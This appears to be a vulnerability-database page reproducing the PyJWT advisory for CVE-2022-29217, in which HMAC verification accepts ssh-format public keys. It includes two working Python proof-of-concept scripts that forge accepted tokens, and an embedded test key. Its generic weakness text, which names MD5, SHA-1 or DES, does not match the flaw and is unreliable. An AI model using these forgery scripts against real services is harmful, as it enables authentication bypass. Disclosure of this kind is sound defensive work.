CVE-2022-29217

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

• Open an issue in https://github.com/jpadilla/pyjwt
• Email José Padilla: pyjwt at jpadilla dot com

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior

import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.

The application uses a cryptographic algorithm known to have weaknesses, such as MD5, SHA-1, or DES. Typical impact: compromised confidentiality or integrity of protected data.

CVE-2022-29217 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.4.0); upgrading removes the vulnerable code path.

Kodem intelligence

Users should upgrade to v2.4.0.

1. What is CVE-2022-29217? CVE-2022-29217 is a high-severity use of a broken or risky cryptographic algorithm vulnerability in pyjwt (pip), affecting versions >= 1.5.0, < 2.4.0. It is fixed in 2.4.0. The application uses a cryptographic algorithm known to have weaknesses, such as MD5, SHA-1, or DES.
2. How severe is CVE-2022-29217? CVE-2022-29217 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyjwt are affected by CVE-2022-29217? pyjwt (pip) versions >= 1.5.0, < 2.4.0 is affected.
4. Is there a fix for CVE-2022-29217? Yes. CVE-2022-29217 is fixed in 2.4.0. Upgrade to this version or later.
5. Is CVE-2022-29217 exploitable, and should I be worried? Whether CVE-2022-29217 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2022-29217 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2022-29217? Upgrade pyjwt to 2.4.0 or later.